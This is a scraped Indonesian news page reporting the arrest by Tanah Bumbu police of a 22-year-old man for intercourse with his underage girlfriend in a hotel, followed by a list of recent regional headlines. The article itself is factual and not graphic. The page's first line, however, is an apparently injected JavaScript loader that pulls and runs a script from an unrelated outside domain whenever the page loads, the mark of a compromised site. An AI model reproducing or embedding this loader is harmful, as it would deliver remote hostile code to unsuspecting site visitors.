(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Tanah Bumbu

Setubuhi Pacar di Bawah Umur di Hotel, M Dibekuk Polres Tanbu


KANALKALIMANTAN.COM, BATULICIN – Seorang pemuda berinisial M (22) ditangkap anggota Polres Tanah Bumbu (Tanbu) karena menyetubuhi pacarnya yang masih di bawah umur.

Kapolres Tanah Bumbu AKBP Tri Hambodo melalui Kasi Humas AKP I Made Rasa, mengatakan, M yang merupakan pemuda asal Kecamatan Simpang Empat, Tanah Bumbu, Provinsi Kalimantan Selatan ini, diamankan Unit Resmob Satreskrim Polres Tanbu pada Sabtu (10 /9/2022) pukul 19.00 Wita.

Telah diamankan seorang laki-laki dengan inisial M yang, melakukan tindak pidana persetubuhan anak di bawah umur, sebagaimana yang dimaksud dalam pasal 81 ayat (1) dan (2) UU RI No. 35 Tahun 2014 Peraturan Perundang-Undangan No. 1 Tahun 2016 Tentang Perubahan Kedua UU No. 23 Tahun 2002 Tentang Perlindungan Anak yang telah ditetapkan sebagai UU No. 17 Tahun 2016.

Kejadian bermula pada Rabu (31/8/ 2022) sekitar pukul 20.00 Wita, korban yang merupakan pacar pelaku diajak jalan-jalan. Namun, hingga pukul 21.00 Wita, korban tidak kunjung pulang dan orangtua korban berusaha mencari tapi tidak membuahkan hasil.

 

 

Baca juga: Dua Remaja Baku Hantam di Taman Edukasi Batulicin, Satu Dibawa ke RS Kena Tusuk

Barulah besok harinya pada Kamis (1/9/ 2022) sekitar pukul 21.00 Wita, korban diantar pulang oleh pelaku. Pengakuan korban, ia dibawa ke hotel dan disetubuhi oleh pelaku sebanyak tiga kali.

“Atas kejadian tersebut pelapor yang merupakan orangtua korban melaporkannya ke Polres Tanah Bumbu, untuk proses lebih lanjut,” sambungnya.

Baca juga: Petaka Maut 2 Anak Tewas di Danau Bekas Galian C Sirkuit Sungai Ulin

Setelah menerima laporan tersebut, pihak Kepolisian Resort Tanah Bumbu melakukan penyelidikan dan pada hari Sabtu tanggal 10 September 2022 sekitar pukul 19.00 Wita, Unit Resmob Polres Tanah Bumbu bersama Unit Kamneg Sat Intelkam Polres Tanah Bumbu mengamankan pelaku. (kanalkalimantan.com/ftr)

Reporter: ftr
Editor: cell


Risa

Recent Posts

“Bakawaan Season 1” Perkuat Kolaborasi Ekosistem Ekraf Balangan

KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More

11 jam ago

Banjarmasin Masih ‘Darurat Sampah’, Dorong Pengolahan Sampah Organik Mandiri

KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More

11 jam ago

Stadion Internasional di Landasan Ulin Barat, Lahan 28,7 Hektare Disiapkan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More

12 jam ago

‎Satlantas Polres HSU Bersama Ojol Mitra Tertib Berlalu Lintas ‎

‎KANALKALIMANTAN.COM, AMUNTAI - ‎Satuan Lalu Lintas (Satlantas) Polres Hulu Sungai Utara (HSU) menggelar kegiatan bertajuk… Read More

1 hari ago

Jemaah Haul ke-6 Abah Haji Penuhi Jalan Masjid Jami Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Lautan manusia jemaah Haul ke-6 KH Ahmad Zuhdianoor atau dikenal Abah Haji… Read More

1 hari ago

Satgas Saber Pangan HSU Turun ke Pasar Induk Amuntai

KANALKALIMANTAN.COM, AMUNTAI - Menjelang bulan Ramadan, Badan Pangan Nasional (Bapanas) bersama Satgas Saber Pangan Kabupaten… Read More

1 hari ago

This website uses cookies.